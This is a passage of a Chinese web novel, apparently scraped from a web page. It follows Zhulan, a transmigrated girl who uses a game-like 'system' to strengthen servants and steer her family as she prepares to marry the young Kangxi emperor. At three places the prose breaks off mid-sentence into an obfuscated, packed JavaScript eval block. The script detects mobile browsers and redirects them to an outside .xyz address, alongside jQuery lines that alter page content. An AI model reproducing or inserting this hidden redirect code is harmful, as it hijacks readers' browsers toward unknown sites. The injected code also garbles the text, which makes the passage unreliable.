刚从军营回来的葛布喇单膝跪地,甲叶上的泥点还未洗净。“阿玛。”他看着父亲蜡黄的脸,想起方才在宫门口遇见的传旨太监,说礼部已开始筹备纳采礼,此事该与阿玛说。 “你立了大功,”索尼看向葛布喇肩甲上的新伤,“本该是一等公...偏偏我这口气没咽下去。”他猛地咳嗽起来,“你可知,鳌拜倒台那日,我恨不得立刻随先帝去!” 只要自己死了,皇帝一定会再给自己一个一等公,到时候与原本一等伯一起传承,两个幼子的前程就稳当了。葛布喇也不会是一个一等侯,必然也是给一个一等公的。 长生天知道,鳌拜怎么倒的那么快。在索尼的谋划里,怎么也得再拖两年,赫舍里氏的利益才能在反复拉扯中得到最大的满足。 可是这傻乎乎的大儿子就这么着急,不惜贸然起兵也要先干倒了鳌拜,丝毫不知何为春风化雨,何为和光同尘,何为浑水摸鱼,何为螳螂捕蝉。 日后若是皇帝起了别的心思,今日的功劳,就是明日的取死之道! 得亏是趁着地动行事,行事又还算隐秘,未曾引起鳌拜一党反弹,否则赫舍里氏等不到明日,今日就俱要死啦。 做事不想周全,全凭一腔热血就蛮干! 这才几年,皇帝才多大,就要让他亲政。 转而想起,地动之事乃皇上预知。索尼也心中打鼓,爱新觉罗的天命莫非当真如此豪横不成。若非知道大儿子没那么聪明,敢于造这样的谣言,他都得怀疑三分。 无论如何,没了鳌拜,赫舍里家的地位也在下降。总算皇上心中尚有情分,未曾另择皇后之选。以大儿子的愚昧,他女儿不入宫,他更高兴。 曾经他以为自己与太皇太后才是棋手,现在啊,都得给年轻人让位了。皇帝,皇帝……比先帝贤明…… 想起葛布喇私下与他谈论珠兰的夫婿之选,他们夫妻两个居然想要出类拔萃的孙女低嫁,求什么一生一世一双人,真是不知所谓。 等自己死了,赫舍里一族必然要败落在葛布喇夫妇手里! 愚夫愚妇,不可理喻! 珠兰端着熬好的汤药进门时,正听见索尼这满肚子只能说出一句的憋屈牢骚话儿。【索尼心理活动分析】:【宗族执念值:91】【命运怨恨值:78】【生存意志力:因珠兰封后+15】。她将药碗放在炕桌上,轻声道:“祖父,太医说您需静养。” 索尼见了孙女,喉间溢出半声叹息,安静下来。这个孙女,理智、精明、通透,管家理事能悟,入宫为后也能悟。只需稍稍点拨,稍稍引导,便足用。 皇帝看样子是不喜欢太聪明的,只要比葛布喇聪明一点,就行了。 见珠兰将加了百合的汤药置于炕桌,规规矩矩立在一边,丝毫没有骄横自满,索尼浑浊的眼尾掠过一丝暖意,珠兰封后...九月大婚...若此刻撒手,按《会典》需守孝... 葛布喇猛地抬头,看见父亲眼中疯狂的执念。 珠兰默默退到角落,看着系统面板上【索尼生存欲曲线】因激动而剧烈波动。一个被权力和家族捆绑的老人,在生死边缘做着最后的挣扎。 他本该还有生路,但是没有价值。珠兰看着系统中【祖孙亲密度】已经攀升到58,什么都不准备做。这位老人活着,赫舍里氏就不是她的。 葛布喇眼中积蓄了泪水,支撑着老父活下去的,早已不是对生命的眷恋,而是赫舍里氏的荣耀与孙女的后位。他虽然愚钝,在父亲几次三番的教导下,也明白了阿玛的为官道理,虽不认可,但他尊重。 擦干净眼泪,他再次提及,请传教士入内看诊。最近因为皇帝对西方医学的好奇,他没少接触这一类的专业人士,晓得他们有好药,阿玛的病症御医治不好,传教士也许有办法。 珠兰捧着祖父赐予的东珠匣走出暖阁时,听见身后传来索尼的喃喃自语:“不能死...绝不能死在九月前...”看祖父的生命值,且还有两年呢。 至于葛布喇提到的西医,珠兰想起康熙的年龄,大婚的时间,历史上他所生子女的存活情况,这都是麻烦,珠兰不喜欢给人收拾烂摊子。 翻开汤若望等传教士的数值,系统显示忠诚度皆在60以上,不枉费葛布喇救他们一场,现在又能派上作用了。珠兰上手,就把观察点用了。 东院里,母亲小佟佳氏的身体仍然虚弱,却也可以坚持。珠兰手中的“涟漪”能量结晶所剩不多,为防万一,没有立即取出用上。 佟佳穆舒望着妆台上两双未完工的靴子,大的那双还留着常海咬出的齿痕。女儿为后是天大的喜事,可长子常泰刚满七岁,次子常海才五岁,往后谁能像我这般,在他们念书时敲戒尺。 若是两个儿子能成才,她宁愿女儿不为皇后。 窗外传来孩童嬉闹声,是乳母抱着小儿子经过。 佟佳穆舒猛地起身,刮落了案头的《庭训格言》,书页恰好翻开在“教子以严为要”那页。 她本来就身体不好,自觉不能活到儿子懂事了。 对于珠兰为后之事,她是惊喜之余又忧心,女儿为后,两个儿子的前途便稳当了,这是国舅,吃喝玩乐一生都可以。 可女儿为后,两个儿子不可能跟着宫里的姐姐长大,日后自己去了,葛布喇只会教导他们忠君,不会教导他们成才的。日子得自己过,浑浑噩噩的如何能做事,将来孙子可怎么办。 她本来的打算是,想让长女嫁回自己娘家,虽然娘家不争气,但是自己的侄子老实听话,有次女在宫里,长女嫁妆多,能管着丈夫,不叫他纳妾,一生一世一双人如何不好。 自从葛布喇跟她说,老爷子是想让塔娜入宫。佟佳穆舒就为了长女的婚事而操心,她十二岁入宫,到康熙四年已经十六岁了,年纪一日比一日大,宫中没有安排的话,婚事是越来越难的,总不能去给人做继室,做王爷的继室也不行。 长女嫁回娘家,次女在宫中,两个儿子也有了大姐姐教导,有了二姐姐依靠。 现在长女为后,次女的婚事也是宫里做主。她一下就慌乱了,葛布喇只知道教儿子喊“皇上万岁”,等我这病身子一倒... 葛布喇哪里知道,常泰该学的是如何在六部周旋,常海该懂的是怎么看账本管田庄。爵位你让给兄弟就让了,本事你得留给儿子吧。 即便丈夫已是一品大员,穆舒心中仍有诸多不足之处。 她翻出个蒙着灰的锦盒,里面装着给常泰开蒙时用的笔,笔杆上还刻着“忠孝传家”四字——那是葛布喇亲手挑的,可她更想让儿子们知道“权谋”二字怎么写。 女儿封后是泼天的富贵,可这富贵背后,两个儿子的前程正像这未完工的靴子,缺了她最在意的那几道针脚。 葛布喇不在意爵位,她在意。老爷子的爵位咱不要了,行。葛布喇又挣了一个爵位回来,但家里有两个儿子。 葛布喇不在意赏赐,她在意。拿命拼回来的金银,他转手就散出去了,给了不知道哪个属下的遗孀幼子,就是没有给她们娘们花用的。 葛布喇不在意儿子,她在意。他就是不肯好好教导儿子怎么当官,一天只用忠诚说事。她看不到儿子长大,是死都不敢的。 珠兰并不知道母亲的复杂心意,也不甚在意,每日前来请安时,说上几句话,便要回去了。宫里派了嬷嬷出来,虽然都是慈宁宫的熟人,但明面上不好总是坏了规矩。 塔娜要更敏感一些,但她与弟弟岁数差距小,自小就是姐姐带着,明白在母亲心里自己和弟弟们比不得,所以她对母亲嘴里都是两个弟弟的事情习以为常,偷偷感怀一二,便去寻姐姐了,姐姐没工夫就带着弟弟玩儿。 反倒是葛布喇,面对珠兰时竟然会有几分羞愧。 当日是他入宫告知珠兰,家中要送塔娜入宫,接珠兰回来的。珠兰曾与他说,期待一生一世一双人的生活,可是皇宫里怎么能奢求呢。连这些念头,都不能有啊。 若是一开始便定下是珠兰入宫,她也不会生这样念头。葛布喇埋怨自己,他不能埋怨老父亲,只能埋怨自己看不破父亲的博弈之心。 佟佳穆舒看错了自己的丈夫,不是他不肯教导儿子,葛布喇他是真不通权谋,只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790652|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一腔忠诚热血。虽有谋划部署去做事,都是珠兰用系统给灌输的。 珠兰察觉察出这份羞愧,意识到自己当日一句笑言,叫葛布喇吃心了,她放任这份羞愧发酵,并不解释,将来再用吧。以葛布喇对康熙的影响力,早晚有用的上的那一天。 规矩礼仪是都早就烂熟于心的,嫁妆单子也好理,陪嫁人手更好安排,这些事对于珠兰而言,有系统早早调教出的丫头们在,十分简单。 祖母大佟佳氏本想安排嬷嬷来帮忙,发现不需要,便将人撤走了,她是真心帮忙,不是来添麻烦的。亲密度虽然不高,但忠诚值已经在与日俱增了。珠兰从她身上,预见将来的赫舍里家,多的是亲密度要转忠诚度的,那般便可以展望一下将来能用三叔索额图了。 索尼认为自己的这位三继福晋目光短浅,不让她过多的掺和珠兰的事。这导致大佟佳氏,对自己的孙女越发敬畏有加。 在皇家一应繁杂手续走完之后,珠兰的身份正式定下,尊卑明确,她便不能再轻易踏出自己的院子,去向长辈日夜请安问好了。 为了能够在有限的时间里,将该说的告知珠兰。索尼硬撑着,每天一个时辰将儿子与孙女都叫过来,面授机宜。 索尼的手段,在算计人心。 比如,他告诉长子,换防时需将正白旗卒混编进镶黄旗,用“仇敌同营”的忌惮来制衡军权。 长子听懂了,照做。 比如,他给长子讲古,当年太祖病逝后,宗室因继承权陷入分裂,代善、阿敏、莽古尔泰等贝勒均有野心。他洞悉诸贝勒“既想夺权又怕内斗损耗”的心理,联合代善长子岳托等人,以“皇太极乃太祖嫡子、功勋卓著”为由倡议拥立,同时暗示其他贝勒,若坚持争位,必引发内耗而被明朝趁虚而入。利用宗室对“政权存亡”的共同焦虑,将太宗包装成“唯一能凝聚各方”的人选,让其他贝勒在“顾全大局”的名义下妥协。 多尔衮掌权期间,他因反对其继位被革职流放,但他并未公开对抗,而是在盛京“闭门谢客”,暗中联络两黄旗旧部。他深知多尔衮“猜忌心重、手段狠辣”,若强行对抗必遭灭口,因此选择隐忍,等待多尔衮势力衰退的时机。看透多尔衮“以强权压制反对者”的统治模式不可持久,利用其“缺乏宗室广泛支持”的弱点,以“蛰伏”保存实力,待顺治亲政、多尔衮病逝后,再以“忠臣蒙冤”的形象重返权力中心,赢得先帝的信任。 长子听不懂了,毕竟有些事他从来不明说,就靠手边的物件、屋里的光影,还有看似无意的动作来点拨。 他像个老蜘蛛,慢慢吐丝结网,把儿子和孙女都织进这张为家族谋算的网里,让他们一步步照着他想的路子走,为赫舍里氏在朝堂和后宫站稳脚跟。 因为系统加点的缘故,葛布喇学不会阿玛的人心筹谋。索尼到了这个时候,也不强求,权谋可以铸就瞬间的权力高峰,却无法编织永不断裂的命运之网。老大,有他的可取之处。皇帝,喜欢他,就行了。 他转身就叫来索额图,让老三学。老四让老大送西洋去了,老五也跟着了魔似的不着家,老六和孙子都太小。 索额图一边听老父亲的乱七八糟暗示,一边晚上回去想明白了再给大哥补课。 大哥的脾气,索额图摸的很清楚,耿介愚忠。 但是他可不敢抛开大哥单干,皇上对大哥的感情就是最大的砝码,就是最大的保障。 为了让大哥不仅在家是大哥,在朝中也是大哥,索额图把老父亲不明说的部分,都给掰开了给大哥看。 比如利益绑定,通过联姻、结盟等方式,将自身与他人的利益捆绑,使对方不得不与自己站在同一阵营;比如压力制造,利用武力、舆论、祖制等手段,迫使对手在恐惧或道德约束下妥协;比如弱点捕捉,洞悉对手的野心、焦虑或性格缺陷,以“纵容”或“引诱”的方式使其犯错,再伺机反击;比如舆论操控,将自身行为包装成“顺应天意”“维护祖制”,借助公共认知与道德标准裹挟人心。 葛布喇听的连连点头,告诫自己,除非是为了皇帝,这些手段能不用就不用。 索额图…… 珠兰是有在学,索尼每次看向她,她都是听懂了的模样,实则主要是让系统学,研究人心,有助于系统推断观察点加哪一项收益率最高。 系统…… 16. 姐妹夜话 七月流火之际,葛布喇奉旨巡视京畿防务,归来时从南城回,路过一家南货铺子,带回一匣品相极好的江南珍珠。 他将最大的一颗“南海明月”放在珠兰手上,这样的珠子平常很难见到,“珠兰,九月初八,阿玛为你掌灯。” 这是他最后一次在家中见女儿了,一切手续都走完了,珠兰身份已定,尊卑已分。明日后,大婚之前她将不能再见男性亲属。 珠兰见了珍珠匣子,笑意加深。 葛布喇以为自己选礼物很得长女之意,心中熨贴。实则,这匣子底下有个曙隅斋的印记,正是自己家的买卖。 未时的日头晒得青石板发烫,七岁的常泰拖着五岁的常海闯进珠兰的绣房时,两人裤腿上还沾着翻墙蹭的草屑。 常泰抱着《武经总要》,书页还沾着汗渍。珠兰伸手替他整理衣领,注入观察点,他翻书时指尖勾勒的速度明显加快——这是观察点在强化【战阵理解】属性。 跟在身后的常海举着开裂的木弓一直拉,注入观察点,下一秒弓弦发出嗡鸣,那是【臂力增幅】属性被观察点提升了5%。 珠兰归家后,决定分批少量帮一把两个弟弟,顺利在幼童体内注入观察点。三日前注入了40观察点,在常泰体内起效,【战略思维】属性提升了4点。 而常海是强化【爆发力】,起初他连木刀都挥不稳,如今已能射中枣木箭靶,属性面板显示数值突破了30点。 黄昏,乳母来领人,常泰的【战阵理解】已达47点,常海的【臂力增幅】突破35点。 弟弟们还是太小,这个时候注入观察点虽然不会影响他们的身体健康了,却还是会有些意料不到的副作用,比如脾气变得暴躁。 对珠兰而言,家中有两个搞学术研究的就够用了。两个弟弟走军中路线,这对她也是最有利的。虽然母亲是想让他们日后留在朝中,翻来覆去的与珠兰说,怎么安排两个弟弟当侍卫,再转入前朝。但朝中怎么比得上军中,在前线才能方便他们给系统当牛做马,获取能量结晶。 晚上,妹妹塔娜钻进屋里,要与姐姐同睡。这应该是姐妹之间,最后一次同睡了。 塔娜带了两个大丫头出来,前半夜是富春值夜。珠兰的大丫头吉雅嗅到富春身上南城的臭水沟味,被她熏的连退三步。 “吉姐,我忘了换里衣了。”富春挠了挠头,憨憨地说道。 吉雅取出鼻塞,摇了摇头,大家都为格格做事,没得计较那么多。 “听说皇帝有兄弟...”塔娜把脸埋在锦被里,能闻到姐姐发间的香,“福全贝勒好像还没定亲。”姐姐身上的香味,像团暖雾裹着她。 窗外更漏敲了两响,她数着梆子声,指尖悄悄勾住珠兰的袖口,怕一松手,姐姐就真的变成坤宁宫里的凤凰,再也摸不到了。 打小,她就跟着姐姐,不想离开姐姐啊。 珠兰正解着发簪的手顿了顿,见到塔娜的指尖正揪着她的袖口,像小时候怕走丢那样。 “傻话,”珠兰把妹妹的手拍开,系统显示【依恋值89%】,“你若舍不得分开,入宫就是,我又不介意。”她故意说得轻快,看着塔娜猛地抬头,睫毛上凝着水汽。 塔娜咬着唇摇头,“似那大小周后...会伤着姐姐。”窗外的老槐树沙沙响,月光把她的影子投在墙上,和珠兰的影子叠在一起。 她曾听乳母说,大小周后都嫁给李煜,可小周后当了皇后,大周后就病死了。要是自己也入宫当妃,是不是就能天天看见姐姐。 可那样姐姐就得和自己分享皇帝,就像分吃一块桂花糕,她宁愿自己一口不吃,也不想姐姐只吃到小半块。 珠兰哄孩子似的,顺着话头说:“大婚后,总会充实后宫,诺敏她们大抵是要入宫的。但太皇太后不会急着下旨,你的亲事便不会轻易定下。你可入宫陪我住一段日子,若日后想嫁宗室,我求皇上赐婚就是。”她没说出口的是,福全、常宁娶赫舍里氏女的可能性微乎其微,但塔娜入宫生下皇子,这对珠兰而言十分有必要。 生育,是一种系统都束手无策的牺牲。 塔娜脸埋得更深,其实她根本不知道福全长什么样,只是听说皇帝的兄弟也能娶赫舍里氏的女儿,就胡乱抓了根救命稻草。 姐姐说可以帮她求赐婚,可塔娜只想把这话咽回去——嫁给宗室又能怎样,也不可以天天看见姐姐。想的越远,心就越慌,倒不如像现在这样,缩在姐姐被子里,假装明天不会来。 思索半天,无果。塔娜起身,从袖中摸出叠信笺。 珠兰点了点她的鼻子,接过信来。 诺敏的信写得像《长生殿》戏文:自上巳一别,青溪尽是相思泪。字里行间全是许久未见的怅然,读着像给心上人写的情诗。珠兰一笑,此女可用。 萨琳的信夹着西洋铜版画,画中行星轨道的交点处,用眉笔淡淡描着坤宁宫的角楼轮廓。聊着椭圆轨道离心率时,突然夹杂一句额娘想送我学西洋点心,又叮嘱珠兰入宫后别忘了寻她讨论西学,不然日子多无趣。此女,亦可用。 苏完娜的信大半是给塔娜的体己话,给珠兰是几句“注意暑气”“别累着”的日常问候。此女,再议。 玉宁的信最是文绉绉,不是写落霞孤鹜,就是叹芭蕉夜雨,翻来覆去都是些风花雪月的愁绪。此女,过于善变,需观察。 姑娘们的信,每次都是丫头吉雅代笔回的。珠兰一字不落,就不会留下丝毫把柄。 更漏敲到三更时,塔娜已抱着珠兰的胳膊睡熟,睫毛在月光下投下颤动的影。 窗外的老槐树影映在窗纸上,像张织好的网。 东厢房的羊角灯映出图雅和尼雅对账的身影,这是珠兰身边最得用的两个内务大丫头,放出去都能独当一面的。 图雅拨弄算盘的指尖起落如飞,算珠碰撞声连成细密的线。 这姑娘今年十六,能心算三十年的田租差额。盛京绸缎铺因驻军换防多增三百两进项时,她甚至没抬头,只随手在算盘上拨出对应数字。这不是经验,而是珠兰注入的观察点让【数据敏感度】提升至60点后的本能反应。她指尖在算盘上顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796982|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出个急停,执笔记录:顺义县张庄,康熙二年遭灾,少缴租银二十七两四钱七分,管事刘五今年报的数目与二年一样,定是在谎报!今年顺义其他庄子都是丰年,皆没有少缴。 这处庄子,是老太爷给的添妆,明日,便要请格格先处理此事。 尼雅核计陪房时,扫过蓝册管事娘子的名单,立即便知道其中八家是家生子,七家曾随索尼征战。这精准度远超普通侍女的记忆范畴,是【信息提炼】属性在观察点赋能下,将碎片化信息自动整合成体系化数据。 西直门外碾坊管事王二的名字刚出现,观察点赋予的【风险预警】属性起效,让尼雅瞬间联想到王二之妻与苏克萨哈家族的远亲关系,在账册边页用极小的字记下“王二妻,苏系”。 这些人手中,有不合适的,明日要与格格请示调换。 那些翻飞的算珠、流畅的笔迹、精准的批注,早已不是普通侍女的“熟练”,而是观察点赋能下的高效运算。 在这即将入宫的节骨眼上,嫁妆账目不仅是财产清单,更是赫舍里一系在深宫中的生存资本——唯有让图雅和尼雅具备超越常人的【数据处理】【人事分析】【风险预判】能力,才能确保每一笔陪嫁都成为稳固权位的棋子。 在她们身上注入的观察点,从来不是多余的算计。深宅博弈中,此乃最正确的生存必需。 值房里,珠兰的大丫头吉雅与禄雅换班,塔娜的大丫头富春与寿春换班。 富春头脑简单、四肢发达,倒头就睡,鼾声如雷。她是个跑腿的,这几个月几乎夜夜要飞檐走壁,溜去南城,体力活十分繁重,谁也不跟她计较这个。 明日早起,要禀报大格格,南城的流浪儿都叫曙隅斋几个归拢的差不多了,晚间街面上再没有露天睡的。 吉雅往东厢房看了一眼,禄雅心领神会,从茶房端了热点心和蜜茶过去。那边是两只算账的夜猫子,睡眠质量贼差,听说是晚上梦又多又密,干脆就晚上干活,白天眯一会儿。 寿春守在门口,也混上了一顿大格格茶房的点心,不咋好吃。吃饱了,她就得接替富春出门了。三步上房,两步过梁,猫一样的步伐,阴影就是她的批纱,常人根本看不到她是怎么出现的。 寿春天赋更高,任务又与富春不同,她是给人家送银子去的。得蒙着脸,不说话,放下银子学猫叫,三声长两声短,有节奏不跑调,跑四五个地方去。 明日得跟大格格说,南城那边的老夫子,就是姓杨的那个,自打得了猫送的银子,花销越发大了,明明攀上了翰林院姓周的那个什么官了,还老去顺天府尹姓罗的家里钻营。跟个扑棱蛾子似的,天上地下没有他不掺合的。 有些活计,要靠脑力。但珠兰始终相信力能破巧,妹妹身边的春字丫头都是强化的武力值属性,多年下来,数值皆到了90以上。寿春,更是已到95,臻于化境,免于系统加点带来的嗜睡暴食等缺陷。 系统数值只要上90,这就证明在这一领域基本处于凡间没对手的境界了。若是到了95,便能突破某些凡体桎梏。 17. 皇帝窥探 大婚之前,珠兰虽按规矩不能随意离府,却从未被条框真正束缚。整一个系统进来,不就是想让自己活的轻松自在点儿嘛。 她一面差遣富春与寿春奔走,处理那些不便明说的事务,一面寻机出府,往自家的铺子与庄子去了好几趟,提前打理各项事宜。 要不是有时空局的账在,要不是为了能量,要不是同源同种,她有时候真就想彻底躺平算了,走毁灭路线可比这快多了,也省心啊。 林昭然啊林昭然,你可太不容易了。 因有几个能干的大丫头在,珠兰从不忧心出不了门,或者出门被熟人认出来。她在赫舍里家经营了这多年,早已打造出一个忠诚值在90以上的方阵,这也是她敢在京中搅弄风云糊弄鳌拜的底气。 人终究是社会属性的,不做灭世大魔王,还想做大事,就得有自己的团队。 与此同时,她还借着系统,暗中留意着京中各类数值突出的人物——那些在系统中某一项数值能达到85以上的人,总能轻易吸引她的目光。 这破系统,怎么就不会自己给人按数值排序呢,这还得自己翻。上次升级以后,能看特殊数据了,可不会筛选。 哦,我做的系统,算了。 珠兰目光在【文学89】的入京举人、【理财91】的晋商掌柜等数据上停留许久,在教育资源不均的世道里,大家子弟凭借家世背景更容易催生出这类人才。 看着很眼馋,自家掌柜培养这么多年,观察点没少往里投,【理财】数值也没有上85的,可见这个91的含金量有多高了。 珠兰还是歇了心思,这一类人总会或自觉或不自觉的为庙堂所用,确定他们的身份后,只需通过系统暗示葛布喇注意到这些人才便可,以葛布喇的身份足以在恰当的时候使用他们或是他们的东家,水到渠成、皆大欢喜。 若是入宫后,这个皇后能有些实权,哪怕只是一只手伸出宫外,这些人便都逃不脱她的掌控。 清初效仿明制设立六局(尚宫局、尚仪局、尚服局、尚食局、尚寝局、尚功局),每局下设四司,共二十四司,分管礼仪、服饰、饮食、起居、奖惩等事务,由女官(如尚宫、司言、典簿等)担任各职,品阶为正六品至正九品。 随着内务府成为管理宫廷事务的主要机构,其职能广泛,涵盖了皇家的饮食、服饰、居住、财务等诸多方面。而六局二十四司所负责的事务,如尚食局掌管的饮食、尚服局掌管的服饰等,与内务府的职能存在重叠。 内务府作为专门的宫廷管理机构,组织更加严密,人员更加专业,在皇后空缺或弱势时,逐渐承担起了原本由六局二十四司负责的大部分实际事务。 后宫与前朝之间最模糊的区域,就是内务府了。若是通过葛布喇给予皇帝一二暗示,获得一些内务府的权力,便可以顺利与外界联通。 说起来,以葛布喇目前的身份,很是需要几个在某些方面有长处的幕僚辅佐的了,他一日比一日增长的【躁郁】,比鳌拜在时还快。估计是被工作愁的,高级牛马也是牛马,一样不好干。 原来葛布喇他是跟鳌拜对着干,现在得想办法自己干了。 让她更在意的是草莽中的异数,南城馄饨摊【听觉86】的瞎子老刘、西直门外【辨色88】的织户女儿阿巧,这些人如未经雕琢的璞玉,潜藏着惊人的天赋。这才是珠兰能隐藏于江湖中的势力,与庙堂不同的第二条路。 上次搞砸了,珠兰就决定鸡蛋不能只放在一个篮子里。大清的篮子兜不住水,可以试试大明的,再不行找找民国的,总能找到合适的。只要有人才在手,学什么学不会,哪条路走不通。 当满朝文武还在抱残守缺时,系统里跳动的高数值人才足以为珠兰搭起通古今的桥,而她要做的,不过是把大明的筐、民国的筛,都拆成趁手的工具,在这漏风的大清篮子里,重新编出盛水的纹路。 作为拥有祖上积攒了权势与财富的大清官n代,珠兰行事十分简单。她甚至不用自己出面,早已让庄子管事、铺子掌柜留意,或在寒冬送去棉衣,或在灾年减免地租,借由这些施与的善意,悄然渗入他们的生活,培养他们的忠诚。收拢这些人不必耗费太多资源,雪中送炭或趁火打劫,总能寻到合适的由头。 待忠诚达到60,只需注入少量观察点,便能将数值从85培养至突破90,而一旦跨过这个阈值,便会产生质变。 珠兰之所以频繁出门,一部分原因是系统虽能捕捉到京中异常能量值,却无法在毫无交集时生成人物档案。大婚之前的这段时日相对自由,她需要确定他们或者她们的身份,安排好后续事宜。 那些在系统面板上闪烁的数值,不过是模糊的能量光点,唯有她亲自接触,让系统建立起“能量-身份”的关联,才能解锁具体信息。 比如,南城那团【听觉86】的能量源,若不是她主动接近馄饨摊,至今仍是模糊存在,哪里能知道那能人是苦了一辈子的瞎子,带着个孙子依靠一口锅过日子。 珠兰走后,自有赫舍里家附近的掌柜过来,引他们祖孙到铺子里专门煮混沌,有了遮风挡雨的靠山,不必再忧心生存,孙子也能去上学,未来一片光明,老刘的忠心跟坐火箭似的,三天就到了70。莫说只是用他的听力做些事,便是用他的命,他也甘愿。 那些未经接触的高数值者,不过是地图上沉默的星点,唯有通过她的脚步去点亮,才能让这些潜在的棋子现出真身,纳入自己的布局。 兜兜转转到了八月,太皇太后在慈宁宫召见珠兰,阳光透过窗棂照在两人交叠的手上,珠兰看见系统面板上【太皇太后亲密度:30】的数值微微跳动——这是元年以来最高的一次跌幅。 出宫时,吉雅与禄雅跟在珠兰身后。 珠兰踏入赫舍里府垂花门时,暮色已漫过影壁。 吉雅快手快脚地替她卸下披风,“格格,您方才在慈宁宫时,奴才闻到门外有龙涎香混着朱砂墨的味道。”她声音压得极低,“气味散了一炷香的时辰,是您让奴才记的那种龙涎香,掺和了西洋贡的龙脑。” 皇帝在外面听墙角?珠兰愣了一下,他是故意的,还是凑巧。龙涎香打底,混着西洋传教士送的龙脑香,这味道本该只在乾清宫出现。 注入属性点后,吉雅的嗅觉精准到能分辨苏合香里千分之一的麝香配比,每日都带着专门的鼻塞出门。 禄雅端着温水进来,“格格,今日慈宁宫的莲蓉月饼里掺了长白山五年生西洋参。藏红花蜜混在糖里,西洋参切得比纸还薄,蒸制时加了岭南荔枝蜜,是专门给太皇太后调气血的方子。” 被珠兰用属性点强化了味觉,禄雅能辨认所有吃过的食材和药材,送去专门学习后,极为擅长药理,只是厨艺不咋地,她只会做几乎没味道的膳食,但是管饱,最适合春字那些大胃王食用。 前两年,太皇太后还用不上这种方子。珠兰点了点头,这是食补的路子,是刘御医擅长的。 今年鳌拜所在的瓜尔佳氏未被全部清算,和硕恭悫长公主低调去了盛京,在那里嫁给了瓜尔佳讷尔杜。恐怕太皇太后心中也不舒服,这才用药膳了。 今日叫她进宫,本也没什么,都是寻常话儿,太皇太后的亲密度跌的莫名其妙,总不能是因为皇帝在外面听着吧。 宫里,又有大事,且与她有关,会是那件事吗? 珠兰调出系统,康熙的各项数值都没动,她就撒开手不管了。 乾清宫 皇帝吃了一口月饼,想起珠兰的眉眼,赏了葛布喇四盘子去。 前日,汤若望突然捧着最新的西医成书前来,以“早育危害”劝诫于他,少年人当保重自身。 虽然房中早有太皇太后安排的董氏与张氏等几名扫炕、司帐女子,但鉴于旺盛的事业心和权利欲,康熙并未动其他念头。 鳌拜倒台之后,他沉浸在自信与自傲之中,一头扎进前朝,忙着大婚与亲政之事。虽偶有念头,也只是看过几眼,觉得董氏更为顺眼一些。 汤若望这一煞有介事的前来,反倒让康熙心中微动。内务府包衣之中,颇有一些人是鳌拜安插进来的。需要寻个可靠的,清理一番。 值房正对着折子头疼的葛布喇莫名得了月饼,跪地谢恩,神色恭敬。 他是个武将出身,天赋不高,全靠外挂。但一腔赤胆忠心可昭日月,在斗倒鳌拜后,一切为了皇上的责任感与使命感还要倾泻在他处。 展开各地送来的税册,案头的铜镇纸硌得葛布喇掌心生疼。泛黄的宣纸上,火耗银的数目比往年多出三成,某县的“平余银”竟比正税还重——这些打着损耗名头的加征,早成了官员们中饱私囊的幌子。 更让他脊背发凉的是,父亲曾说过的为官之道里,就有各色“借名问候”的勒索,明里是礼尚往来,实则是用地方命脉作要挟。 刑部呈上的弹劾奏折轻飘飘落在案头,葛布喇扫过被参官员名单,全是些革职多年或已故之人。真正欺上瞒下的现任官吏,却因层层包庇安然无恙。 前日刚查获的盐引舞弊案,本该牵连数位巡抚,可廷议时同僚们不是顾左右而言他,就是拿“证据不足”搪塞,最后竟试图将卷宗锁进库房,权当无事发生。 直隶来的密折上写着,某县百姓因赋税过重集体逃亡,良田荒芜成蒿莱,可地方官仍在虚报收成。 火耗银本是弥补熔铸损耗,如今却成了官员们攀比奢靡的资本——有人用加征税银盖起三进宅院,有人拿百姓脂膏宴请京中大员,而真正该入国库的钱粮,十成里倒有六七成进了私人口袋。 他们分两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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康熙听说葛布喇又去南城给女儿选礼品带回家,叹了口气。他从不怀疑葛布喇的忠心,却担忧…… 皇帝大婚,若皇后久而无子,前朝后宫皆会多生事端。 可若真如汤若望所说,与寿数有碍,珠兰深明大义,应能明了他的心意。此刻政局趋于稳定,康熙并不是十分需要后宫诞下皇子以巩固权势。龙体,自是最重。 葛布喇那里,康熙却有些张不开嘴。他决定,派人先调查一番。汤若望所言,他非全信,也不敢不信。 房中的包衣女子,交代顾问行安排到端凝殿的耳房去看衣服去了。 顾问行…… 眼不见为净,康熙继续投入到每日不停的工作中。 曙隅斋的柜台泛着油亮光泽,掌柜穆尔哈恭恭敬敬送走贵客。 格格说了,就是亲爹来了,买东西也照样要付钱。 他转回柜台,将新到的珍珠钗摆在锦缎上,余光瞥见三个面黄肌瘦的孩子扒着门缝张望。 他用帕子擦了擦金丝单框眼镜,朝伙计使个眼色——这月第三回有卖孩子的来了,格格吩咐过,见着就收下,往庄子送就是。 管他是父母卖的,还是人贩子卖的,自己不收,就卖到见不得人的地方去了。 小厮抱着账本进来时,穆尔哈预备清点翡翠镯子。他推了推眼镜,账册上“清风明月”那栏又多了笔银钱,不禁咂舌。 